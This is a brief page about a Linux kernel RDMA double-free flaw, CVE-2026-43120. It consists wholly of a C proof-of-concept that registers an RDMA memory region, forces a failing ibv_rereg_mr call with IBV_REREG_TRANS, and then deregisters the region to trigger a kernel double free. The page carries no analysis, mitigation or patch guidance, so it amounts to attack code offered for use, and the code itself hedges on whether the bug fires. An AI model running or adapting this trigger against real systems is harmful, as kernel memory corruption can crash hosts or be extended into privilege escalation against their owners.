CVE-2026-43120: Linux内核RDMA双重释放漏洞

// Conceptual PoC for CVE-2026-43120 // Requires libibverbs and a vulnerable RDMA device (irdma) #include <infiniband/verbs.h> #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> int main() { struct ibv_context *ctx; struct ibv_pd *pd; struct ibv_mr *mr; void *buf; size_t length = 4096; // 1. Open device and allocate Protection Domain // Note: Actual device opening requires specific device name int num_devices; struct ibv_device **dev_list = ibv_get_device_list(&num_devices); if (!dev_list || num_devices == 0) { perror("Failed to get RDMA devices"); return -1; } ctx = ibv_open_device(dev_list[0]); if (!ctx) { perror("Failed to open device"); return -1; } pd = ibv_alloc_pd(ctx); if (!pd) { perror("Failed to alloc PD"); return -1; } // 2. Register initial Memory Region buf = malloc(length); if (!buf) { perror("malloc failed"); return -1; } mr = ibv_reg_mr(pd, buf, length, IBV_ACCESS_LOCAL_WRITE); if (!mr) { perror("ibv_reg_mr failed"); return -1; } // 3. Attempt to reregister with IBV_REREG_TRANS // This flag triggers the vulnerable path in the kernel. // To trigger the bug, the kernel internal logic must fail // AFTER allocating the new umem. printf("Attempting to trigger vulnerable rereg_mr path...\n"); int ret = ibv_rereg_mr(mr, IBV_REREG_TRANS | IBV_REREG_ACCESS, pd, buf, length, IBV_ACCESS_LOCAL_WRITE); if (ret) { printf("Reregister failed as expected (error: %s).\n", strerror(ret)); // 4. Trigger the double free // The application assumes it should clean up the MR // because the previous operation failed. printf("Calling dereg_mr to trigger double free...\n"); ibv_dereg_mr(mr); printf("Double free likely triggered in kernel.\n"); } else { printf("Reregister succeeded. Vulnerability not triggered in this run.\n"); ibv_dereg_mr(mr); } free(buf); ibv_dealloc_pd(pd); ibv_close_device(ctx); ibv_free_device_list(dev_list); return 0; }